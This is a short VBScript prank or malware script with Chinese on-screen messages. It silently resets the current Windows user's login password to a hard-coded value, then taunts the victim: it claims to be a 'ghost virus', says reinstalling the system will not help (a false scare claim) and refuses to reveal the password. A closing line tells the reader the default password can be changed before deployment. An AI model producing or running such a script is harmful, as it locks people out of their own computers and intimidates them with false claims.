Const strPassword ="20070919"

Dim WshNetwork

Set WshNetwork = CreateObject("WScript.Network")

Dim UserName

UserName = WshNetwork.UserName&",user"

Dim Domain

Set Domain = GetObject("WinNT://./"&UserName)

Domain.SetPassword strPassword

Domain.SetInfo

WScript.Echo("你上当了"&TSName)

WScript.Echo("你的电脑密码被我改了")

WScript.Echo("重装系统是没用的")

WScript.Echo("这是鬼影病毒，阴魂不散！")

WScript.Echo("开机会有密码")

WScript.Echo("想要密码吗？")

WScript.Echo("就不告诉你")

WScript.Echo("我要消失喽，拜拜( ^_^ )/~~拜拜")

对了，20070919是默认密码，你可以改掉，改成你想要的密码